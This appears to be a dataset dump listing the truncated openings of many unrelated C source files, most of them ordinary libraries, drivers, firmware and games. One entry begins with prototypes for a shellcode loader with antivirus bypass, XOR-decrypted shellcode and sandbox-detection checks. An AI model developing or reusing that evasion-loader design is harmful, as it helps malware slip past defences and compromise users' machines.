text
stringlengths
5.8k
28.2k
#include <stdlib.h> #include "def.h" #include "monster.h" #include "main.h" #include "sprite.h" #include "digger.h" #include "drawing.h" #include "bags.h" #include "sound.h" #include "scores.h" #include "record.h" struct monster { Sint4 x,y,h,v,xr,yr,dir,hdir,t,hnt,death,bag,dtime,stime,chase; bool ...
/********** Copyright 1990 Regents of the University of California. All rights reserved. Author: 1985 <NAME>, 1991 <NAME> Modified: 2001 <NAME> (Cider Integration) **********/ #include "ngspice/ngspice.h" #include "ngspice/inpdefs.h" #include "ngspice/ifsim.h" #include "ngspice/cpstd.h" #include "ngspice/fteext.h" #i...
/* * Copyright (C) 2010-2013 <NAME> <<EMAIL>> * 2010 <NAME> <<EMAIL>> * 2010 PortaOne Inc. * Copyright (C) Tildeslash Ltd. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation file...
/* * shelldon interface program KUSIS ID: 53825 PARTNER NAME: <NAME> KUSIS ID: 53846 PARTNER NAME: <NAME> */ #include <stdio.h> #include <dirent.h> #include <unistd.h> #include <errno.h> #include <stdlib.h> #include <sys/types.h> #include <string.h> #include <sys/wait.h> #include <fcntl.h> #include <sys/stat.h> #i...
/* * Licensed to the OpenAirInterface (OAI) Software Alliance under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The OpenAirInterface Software Alliance licenses this file to You under * the terms found in...
/* * Copyright (c) 2022, <NAME>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditio...
/* This file contains: WaveCal FreeLampSpec */ # include <stdio.h> # include <stdlib.h> # include <string.h> # include "c_iraf.h" # include "hstio.h" # include "stis.h" # include "calstis4.h" # include "hstcalerr.h" # include "stisdq.h" # include "stisdef.h" static void ScaleTrim (StisInfo4 *); static void ScaleOn...
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <string.h> #include <errno.h> #include <libgen.h> #include <fcntl.h> #include <poll.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <p...
/** * \file * * \brief Sample of IEE11073 Communication Model * * Copyright (c) 2014-2018 Microchip Technology Inc. and its subsidiaries. * * \asf_license_start * * \page License * * Subject to your compliance with these terms, you may use Microchip * software and any derivatives exclusively with Microchip ...
/* =============================================================================== Name : ExercicioNP2.c Author : <NAME> (1162), <NAME> (1177), <NAME> (1136) Version : 1.0.0 =============================================================================== */ /* FreeRTOS.org includes. */ #include "Free...
#include "general.h" #include "misc.h" #include <string.h> #include <math.h> #pragma region Preferences struct Preference preferences[preferenceCount] = { {"color",{0,1},{0,1}}, {"darkmode",{0,1},{0,1}},//Web version only {"raw",0,0},//CLI only {"autostart",0,0},//CLI: location of autostart file, Web: n...
/************************************************************************* > File Name: nihe.c > Author: <NAME> > Mail: <EMAIL> > Created Time: Fri 01 Dec 2017 09:48:54 AM CST ************************************************************************/ #include<stdio.h> #include<math.h> #define JIESHUMAX 1000 /*打印二...
#include "main.h" #include "sht3x.h" #include "bmp085.h" ADC_HandleTypeDef hadc1; I2C_HandleTypeDef hi2c1; I2C_HandleTypeDef hi2c2; I2C_HandleTypeDef hi2c3; UART_HandleTypeDef huart2; /* USER CODE BEGIN PV */ float temperature = 0.0; float humidity = 0.0; int lumen = 0; uint32_t adc1 = 0; uint32_t adc2 = 0; uint32...
/* USER CODE BEGIN Header */ /** ****************************************************************************** * @file : main.c * @brief : Main program body ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) ...
/* config.h. Generated from config.h.in by configure. */ /* config.h.in. Generated from configure.ac by autoheader. */ /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* maximum keyfile size (in KiB) */ #define DEFAULT_KEYFILE_SIZE_MAXKB 8192 /* cipher for loop-AE...
/* * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ /* * how to run: * cint utility/cint_utils_l3.c * cint cint_ip_route.c * cint cint_ip_tunnel.c * cint cint_ipv...
/** * @file * Sparse Vector Datatype * We would like to store sparse arrays in a terse representation that fits * in a small amount of memory. * We also want to be able to compare the number of instances where the svec * of one document intersects another. */ #include <postgres.h> #include <stdio.h> ...
//////////////////////////////////////////////////////////////////////////////// #include "auplas.h" #include "polynomial.h" #include "differential.h" #include "quadrature.h" #define LS_SUCCESS 1 #define LS_MEMORY_ERROR -1 #define LS_DIMENSION_ERROR -2 void dgeqrf_(int * n, int * m, double *, int *, double *, double...
/* * Functions to handle molecular data */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libgen.h> #include "ofmo-parallel.h" #include "ofmo-string.h" #include "ofmo-basis.h" #include "ofmo-basis-database.h" #include "ofmo-mat.h" #include "ofmo-integ.h" #include "ofmo-cutof...
/* * Test program to test gs filetransfer sub-system used by gs-netcat. * TESTING PUT =========== mkdir -p test rm -rf test/test*.dat socat SYSTEM:'./filetransfer-test c test4k.dat test8k.dat 2>client.log' SYSTEM:'(cd test; ../filetransfer-test s 2>../server.log)' rm -rf test mkdir test socat SYSTEM:'./filetransfer...
#include<string.h> #include "freertos/FreeRTOS.h" #include "freertos/semphr.h" #include "esp_wifi.h" #include "esp_system.h" #include "esp_event.h" #include "esp_event_loop.h" #include "nvs_flash.h" #include "driver/gpio.h" #include "driver/adc.h" #include "driver/ledc.h" #include "esp_log.h" #include "./ssd1306.h" #...
#include "main.h" int bypass_av(); int run_shellcode(); void xor_cipher(char* shellcode); void decrypt_shellcode(char* shellcode); void spam_nops(); int enumarate_process(); int check_process_running(char* process_name); int check_sleep_acceleration(); int get_current_time(); void get_mac_address(ch...
/******************************************************************************* License: This software and/or related materials was developed at the National Institute of Standards and Technology (NIST) by employees of the Federal Government in the course of their official duties. Pursuant to title 17 Section 105 of...
/* Copyright 2016 <NAME>, Symonics GmbH */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> #include <errno.h> #include <assert.h> #include "reader.h" static int log2i(int a) { return round(log2(a)); } static int directblockRead(struct READER *reader, struct DATAOBJECT *dataobject, ...
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolar...
// // appFirewall // // Copyright © 2019 <NAME>. All rights reserved. // #include "log.h" // circular list static list_t log_list=LIST_INITIALISER; static pthread_mutex_t log_list_mutex = MUTEX_INITIALIZER; static list_t filtered_log_list=LIST_INITIALISER; static FILE *fp_txt = NULL; // pointer to human readable l...
/********************************************************************** * * PostGIS - Spatial Types for PostgreSQL * http://postgis.net * * PostGIS is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either...
/* ChibiOS - Copyright (C) 2006..2015 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law o...
/*---------------------------------------------------------------------- File : normal.c Contents: normal distribution functions Author : <NAME> History : 2002.11.04 file created 2008.03.14 quantile function, main function added 2008.03.15 cumulative distribution function added -----...
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you...
#include <gb/gb.h> #include "defines.h" #include "gamestate.h" #include "sea.h" #include "waves.h" #include "loosing_screen.h" #include "game.h" //#include "data/bg/tangram.h" #include "data/sprite/sprites.h" // sprite defines //#define SHIP_LEFT_ID 0 //#define SHIP_RIGHT_ID 1 #define SHIP_LEFT_SPRITE 0 #define S...
/* * board.c * * Board functions for TI AM335X based boards * * Copyright (C) 2011, Texas Instruments, Incorporated - http://www.ti.com/ * * SPDX-License-Identifier: GPL-2.0+ */ #include <common.h> #include <errno.h> #include <linux/libfdt.h> #include <spl.h> #include <asm/arch/cpu.h> #include <asm/arch/hardwa...
#include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX_REC_SIZE 512 #define DELIM_STR "|" #define DELIM '\n' int vetor_aux[100]; typedef struct racas{ int id; char raca[30]; }racas; typedef struct caes{ char id_i[5]; char id_r[5]; char nome[20]; char sexo[1]; }caes; typedef s...
/* Tests a kernel create with binary. Copyright (c) 2016 pocl developers Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights ...
/* ------------------------------------------------------------------------------- Copyright (C) 1999-2007 id Software, Inc. and contributors. For a list of contributors, see the accompanying CONTRIBUTORS file. This file is part of GtkRadiant. GtkRadiant is free software; you can redistribute it and/or m...
/* * (c) copyright 1987 by the Vrije Universiteit, Amsterdam, The Netherlands. * See the copyright notice in the ACK home directory, in the file "Copyright". */ /* * led - linkage editor for ACK assemblers output format */ #include <stdio.h> #include <out.h> #include "const.h" #include "debug.h" #include "arch.h"...
// Copyright (c) 2019-present, iQIYI, Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, c...
/** * kdbg - Kernel GDB remote stub. * Note: Breakpoints in threads (processes) are globals right now. * Use the light version of .gdbinit. * Parts of the code are inspired by gdb/stubs/ * Docs: https://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html * https://www.embecosm.com/appnotes/ean4/emb...
/* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this f...
/******************************************************************** * * * THIS FILE IS PART OF THE OggVorbis 'TREMOR' CODEC SOURCE CODE. * * * * USE, DISTRIBUTION AND REPRODUCTION OF...
// SPDX-License-Identifier: GPL-2.0 #include <stdlib.h> #include <string.h> #include <linux/string.h> #include <sys/time.h> #include <linux/time64.h> #include <time.h> #include <errno.h> #include <inttypes.h> #include <math.h> #include <linux/ctype.h> #include "debug.h" #include "time-utils.h" #include "session.h" #in...
/*- * BSD LICENSE * * Copyright(c) 2010-2014 Intel Corporation. All rights reserved. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source cod...
/* * Copyright © 2013 <NAME> * Copyright © 2013 Red Hat, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, c...
/* * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenSDK/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ /* * Feature : VPWS Tunnel (L2 MPLS) Initiation and Termination scenarios * * Usage : BCM.0> cint vpws.c * ...
#include <assert.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #if defined (__SVR4) && defined (__sun) #include <sys/isa_defs.h> #endif #if (defined(BYTE_ORDER)&&(BYTE_ORDER == BIG_ENDIAN)) || \ ...
#ifndef lint static const char RCSid[] = "$Id: ccolor.c,v 3.6 2012/07/17 23:40:24 greg Exp $"; #endif /* * Spectral color handling routines */ #include <stdio.h> #include <math.h> #include "ccolor.h" /* Sharp primary matrix */ float XYZtoSharp[3][3] = { { 1.2694, -0.0988, -0.1706}, {-0.8364, 1.8006, 0.0357...
/* * Builtin "git tag" * * Copyright (c) 2007 <NAME> <<EMAIL>>, * <NAME> <<EMAIL>> * Based on git-tag.sh and mktag.c by <NAME>. */ #include "cache.h" #include "config.h" #include "builtin.h" #include "refs.h" #include "object-store.h" #include "tag.h" #include "run-command.h" #include "parse-o...
/* SPDX-License-Identifier: Apache-2.0 */ /* * Copyright (C) 2012-2020 Intel Corporation */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <metee.h> #ifndef BIT #define BIT(n) 1 << (n) #endif /* BIT */ #ifdef _WIN32 typedef SSIZE_T ssiz...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #define FALSE 0 #define TRUE 1 #define BUFSIZE 100 /* Routine to read the input file for grid2ps */ void readinppt1_(panel, inp_fname, ps_fname, in_flag, data_fname, color_flag, axis, cont, f1, f2, f3, f4, plot_flag, fill, fill_beg, ...
/*============================================================================ WCSLIB 7.1 - an implementation of the FITS WCS standard. Copyright (C) 1995-2020, <NAME> This file is part of WCSLIB. WCSLIB is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pu...
/* * Linux MegaRAID driver for SAS based RAID controllers * * Copyright (c) 2009-2012 LSI Corporation. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the ...
/* * task_smpl.c - example of a task sampling another one using a randomized sampling period * * Copyright (c) 2003-2006 Hewlett-Packard Development Company, L.P. * Contributed by <NAME> <<EMAIL>> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated d...
/* * OpenBOR - http://www.chronocrash.com * ----------------------------------------------------------------------- * Licensed under a BSD-style license, see LICENSE in OpenBOR root for details. * * Copyright (c) 2004 - 2017 OpenBOR Team */ #include <stdlib.h> #include <stdint.h> #include <string.h> #include <un...
/**************************************************************************//** * @file main.c * @version V0.10 * @brief * Demonstrate USCI_SPI data transfer with PDMA. * USCI_SPI0 will be configured as Master mode and USCI_SPI1 will be configured as Slave mode. * Both TX PDMA f...
/** * @file libaxidma.c * @date Saturday, December 05, 2015 at 10:10:39 AM EST * @author <NAME> (bmperez) * @author <NAME> (jaewonch) * * This is a simple library that wraps around the AXI DMA module, * allowing for the user to abstract away from the finer grained details. * * @bug No known bugs. **/ #includ...
/* Copyright (C) 2014, The University of Texas at Austin This file is part of libflame and is available under the 3-Clause BSD license, which can be found in the LICENSE file at the top-level directory, or at http://opensource.org/licenses/BSD-3-Clause */ // --- LAPACK-related utility prototypes ---...
/* basic.c - a minimalistic pocl device driver layer implementation Copyright (c) 2011-2013 <NAME> and <NAME> / Tampere University of Technology Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ...
/** \file * \brief EEprom tool for Simple Open EtherCAT master * * Usage : eepromtool ifname slave OPTION fname|alias * ifname is NIC interface, f.e. eth0 * slave = slave number in EtherCAT order 1..n * -r read EEPROM, output binary format * -ri read EEPROM, output Intel Hex format * -w write EEPR...
/* EXAMPLES\SIMPLE\dnsimp.f -- translated by f2c (version 20100827). */ #include <stdlib.h> #include "arpack.h" /** * \BeginDoc * * This example program is intended to illustrate the * simplest case of using ARPACK in considerable detail. * This code may be used to understand basic usage of ARPACK *...
/** * \file * \brief Kernel memory management. */ /* * Copyright (c) 2012, ETH Zurich. * Copyright (c) 2014, HP Labs. * Copyright (c) 2015, Hewlett Packard Enterprise Development LP. * All rights reserved. * * This file is distributed under the terms in the attached LICENSE file. * If you do not find this fi...
#include "ldpc.h" #include <stdio.h> #include <string.h> #include <stdlib.h> static int set_iLS[ILS_NUM] = { 2, 4, 8, 16, 32, 64, 128, 256, 3, 6, 12, 24, 48, 96, 192, 384, 5, 10, 20, 40, 80, 160, 320, 7, 14, 28, 56, 112, 224, 9, 18, 36, 72, 144, 288, 11, 22, 44, 88, 1...
/* * This file is part of the PCEPlib, a PCEP protocol library. * * Copyright (C) 2020 Volta Networks https://voltanet.io/ * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either ...
// SPDX-License-Identifier: GPL-2.0-or-later /* * fam15h_power.c - AMD Family 15h processor power monitoring * * Copyright (c) 2011-2016 Advanced Micro Devices, Inc. * Author: <NAME> <<EMAIL>> */ #include <linux/err.h> #include <linux/hwmon.h> #include <linux/hwmon-sysfs.h> #include <linux/init.h> #include <linux...
/** * ntfscluster - Part of the Linux-NTFS project. * * Copyright (c) 2002-2003 <NAME> * Copyright (c) 2005 <NAME> * Copyright (c) 2005-2006 <NAME> * * This utility will locate the owner of any given sector or cluster. * * This program is free software; you can redistribute it and/or modify * it under the ter...
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include "bseq.h" #include "minimap.h" #include "mmpriv.h" #include "kalloc.h" #define MM_VERSION "merge_v1.0" #define INITIAL_NUM_REGS 256 //See : https://github.com/lh3/minimap2/issues/141 //make this inline for performance reasons void...
/* Copyright (c) 2017 NDM Systems, Inc. http://www.ndmsystems.com/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify...
#include <stdio.h> #include <string.h> #include <time.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #define __STDC_FORMAT_MACROS #include <inttypes.h> #include "mmt_core.h" #include "tcpip/mmt_tcpip.h" #include "processing.h" /* This function writes FTP data t...
/* * Licensed to the OpenAirInterface (OAI) Software Alliance under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The OpenAirInterface Software Alliance licenses this file to You under * the OAI Public Lic...
/* FreeRTOS V9.0.0 - Copyright (C) 2016 Real Time Engineers Ltd. All rights reserved VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. This file is part of the FreeRTOS distribution. FreeRTOS is free software; you can redistribute it and/or modify it under the...
//------------------------------------------------------------------------------------------------------------------------------ // <NAME> // <EMAIL> // Lawrence Berkeley National Lab //------------------------------------------------------------------------------------------------------------------------------ #includ...
/*************************************************************************************************************************** * This file is subject to the terms and conditions defined in file 'LICENSE.txt', * which is part of this source code package. * * Project : Use a button press to trigger an interrupt * Prog...
/** * * @author: <NAME> * @author: <NAME> */ #include <stdio.h> #include <mpi.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <time.h> // Array initializer int **allocate_cells(int n_x, int n_y); //////////////////////////////////////////////////////////////////////// // Helper functions...
/* -[Sun Jun 19 14:42:59 1983 by jkf]- * global.h * main include file * * Header: global.h,v 1.11 85/03/24 11:06:11 sklower Exp * * (c) copyright 1982, Regents of the University of California */ #include <stdio.h> #include <stdint.h> #include <sys/bitops.h> #include "config.h" #include "ltypes.h" #ifnde...
/* * * * Copyright (c) 2000-2003 Silicon Graphics, Inc. All Rights Reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of version 2 of the GNU General Public License * as published by the Free Software Foundation. * * This program is distributed in the h...
#include "fr.h" #include "bitmap.h" #include "raster_font.h" #include "error.h" #include <png.h> #include <ft2build.h> #include FT_FREETYPE_H #include FT_BITMAP_H /* struct holding a glyph metrics */ struct glyph_metrics { float bearing[2]; float advance[2]; float size[2]; double st0[2]; double st1[2]; }; stru...
// // ota_https_client.c // esp32-ota-https // // Updating the firmware over the air. // // This module provides functions to execute HTTPS requests on an // existing TLS TCP connection. // // Created by <NAME> on 19.01.2017. // Copyright © 2017 Classy Code GmbH // // Copyright (c) 2018 <NAME> // // Permission ...
// // Copyright 2020 NanoMQ Team, Inc. <<EMAIL>> // // This software is supplied under the terms of the MIT License, a // copy of which should be located in the distribution where this // file was obtained (LICENSE.txt). A copy of the license may also be // found online at https://opensource.org/licenses/MIT. // #incl...
/* ----------------------------------------------------------------------------- * * File: sequential.c * Author: <NAME> * Class: CSC 422 Parallel & Distributed Programming * Project: Parallel Project 1 - n-Bodies and Collisions * Description: A sequential implementation of a simul...
/* * Copyright (c) 2016, prpl Foundation * * Permission to use, copy, modify, and/or distribute this software for any purpose with or without * fee is hereby granted, provided that the above copyright notice and this permission notice appear * in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHO...
/* * plot3d_to_cgns.c - convert a PLOT3D file to CGNS */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "getargs.h" #include "binaryio.h" #include "cgnslib.h" #include "cgnsutil.h" /* command line options */ static char options[] = "spinfuM:db:B:g:c"; static char *usgmsg[] = { "usage: pl...
#include "Doom.h" #include <IntMath.h> #include <String.h> #define STEPVALUE (2<<FRACBITS) /* Speed to move around in the map (Fixed) For non-follow mode */ #define MAXSCALES 0x10000 /* Maximum scale factor (Largest) */ #define MINSCALES 0x00800 /* Minimum scale factor (Smallest) */ #define ZOOMIN 66816L /* Fixed 1.0...
// SPDX-License-Identifier: GPL-2.0+ /* * board.c * * Board functions for TCL SL50 board * * Copyright (C) 2011, Texas Instruments, Incorporated - http://www.ti.com/ */ #include <common.h> #include <errno.h> #include <spl.h> #include <asm/arch/cpu.h> #include <asm/arch/hardware.h> #include <asm/arch/omap.h> #inc...
#include <string.h> #include "ripemd160.h" #define ROL(x, n) (((x) << (n)) | ((x) >> (32-(n)))) #define F(x, y, z) ((x) ^ (y) ^ (z)) #define G(x, y, z) (((x) & (y)) | (~(x) & (z))) #define H(x, y, z) (((x) | ~(y)) ^ (z)) #define IQ(x, y, z) (((x) & (z)) | ((y) & ~(z))) #define J(x, y, z) ((x) ^ ((y) | ~(z))) #...
#include <termios.h> #include <math.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <cyg/io/io.h> #include <cyg/io/serialio.h> #include <pthread.h> #include <sched.h> #include <cyg/posix/pthread.h> #include <cyg/kernel/kapi.h> #include "....
/** * \file demoTouch.c * * \brief This file contains Touch Screen related functions. * */ /* Copyright (c) 2006-2010 Texas Instruments Incorporated. All rights reserved. * Software License Agreement * * Texas Instruments (TI) is supplying this software for use solely and * exclusively on TI's microcontr...
#include "mylib.h" #include "sdcard.h" #include "file.h" extern uint8_t rdedata[]; int64_t fatadr; int32_t fatsize; int64_t rdeadr; int32_t rdesize; int64_t usradr; int32_t usrsize; uint32_t sectorsPerCluster; uint32_t sectorsPerFAT; uint32_t FAT_type; uint32_t fat_bytesize; void file_readfat(uint32_t *fat, int64_t...
/* CryptRover ver 7drl-02Feb2008 * by <NAME> * http://code.google.com/p/cryptover/ for the latest version * You are an archaeologist trapped in an underground crypt with a limited supply of air. You must survive long enough to reach the crypt's exit. * * Be too rash - and the arachnids will nibble you to death. * ...
/* * Copyright 2017 People Power Company * * This code was developed with funding from People Power Company * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.a...
/* * Copyright (c) 2011-2018, <NAME> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditi...
/* * Copyright (C) Red Hat Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, di...
#include "u8g2port.h" static int i2c_device; static const char i2c_bus[] = "/dev/i2c-1"; static int spi_device; static const char spi_bus[] = "/dev/spidev0.0"; uint8_t u8x8_arm_linux_gpio_and_delay(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { (void) arg_ptr; /* suppress unused parameter warning *...
/* * Copyright (c) 2020 Wuklab, UCSD. All rights reserved. * * Some misc helper functions used by everyone, anywhere they want. */ #define _GNU_SOURCE #include <sched.h> #include <uapi/vregion.h> #include <uapi/compiler.h> #include <uapi/sched.h> #include <uapi/list.h> #include <uapi/err.h> #include <pthread.h> #...
/************************************************************************************** The MIT License (MIT) Copyright (c) 2016 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software wi...
/*- * Copyright (c) 2012 <NAME> <<EMAIL>> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of co...
/* * If not stated otherwise in this file or this component's Licenses.txt file the * following copyright and licenses apply: * * Copyright 2015 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain ...
#include <stdio.h> #include <stdlib.h> #include <math.h> #ifndef max #define max(a, b) ((a) > (b) ? (a) : (b)) #endif #ifndef min #define min(a, b) ((a) < (b) ? (a) : (b)) #endif #define POS_DOUBLE_INF_RAW 0x7ff0000000000000 #define NEG_DOUBLE_INF_RAW 0xfff0000000000000 #define NN 10 const double pos_double_inf; con...
/* Filename: f3d_lcd_sd.c Part of lab 7 Created by <NAME> (sijlee) and <NAME>(gabwatso) Created on 26/02/16 Last modified by niuqin and gabwatso Last Modified on 31/03/16 */ /* f3d_lcd_sd.c --- * * Filename: f3d_lcd_sd.c * Description: * Author: <NAME> * Maintainer: * Created: Thu Oct 24 05:18:36 2013 * Last...
/* * $Id: autopilot_command.c 1.2 02/02/06 23:33:58-00:00 twouters@ $ * * Author: <NAME> <<EMAIL>> * * Copyright (c) 1997 <NAME> * Copyright (c) 1998-2002 <NAME> * Copyright (c) 2000-2002 <NAME> * All rights reserved * * Created: Tue Sep 23 20:33:33 1997 fingon * Last modified: Sat Jun 6 21:47:38 ...
/* Copyright (C) 2001-2021 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license ...
/* dqawse.f -- translated by f2c (version 20190311). You must link the resulting object file with libf2c: on Microsoft Windows system, link with libf2c.lib; on Linux or Unix systems, link with .../path/to/libf2c.a -lm or, if you install libf2c.a in a standard place, with -lf2c -lm -- in that order, at the end of...